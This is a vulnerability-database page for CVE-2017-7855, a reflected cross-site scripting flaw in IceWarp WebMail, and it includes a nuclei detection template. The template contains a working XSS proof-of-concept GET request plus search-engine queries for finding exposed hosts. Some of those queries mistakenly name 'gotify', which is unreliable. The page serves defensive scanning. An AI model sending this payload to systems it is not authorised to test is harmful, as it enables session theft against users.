HexBrain

Browse / CVEs / CVE-2017-7855

CVE-2017-7855· icewarp / server· CWE-79

IceWarp WebMail 11.3.1.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

IceWarp WebMail 11.3.1.5 is vulnerable to cross-site scripting via the language parameter.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of IceWarp WebMail.

How to confirm it

Send: GET {{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
Positive when: contains "lang=\"\"><img src=x onerror=alert(document.domain)>" and "IceWarp" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-7855 -u <target>

The full check
id: CVE-2017-7855

info:
  name: IceWarp WebMail 11.3.1.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    IceWarp WebMail 11.3.1.5 is vulnerable to cross-site scripting via the language parameter.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: Apply the latest security patch or upgrade to a non-vulnerable version of IceWarp WebMail.
  reference:
    - https://technical.nttsecurity.com/post/102eegq/cookies-are-delicious
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7855
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-7855
    cwe-id: CWE-79
    epss-score: 0.0201
    epss-percentile: 0.81035
    cpe: cpe:2.3:a:icewarp:server:11.3.1.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewarp
    product: server
    shodan-query:
      - title:"icewarp"
      - http.title:"gotify"
    fofa-query: title="gotify"
    google-query: intitle:"gotify"
  tags: cve,cve2017,xss,icewarp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'lang=""><img src=x onerror=alert(document.domain)>'
          - 'IceWarp'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from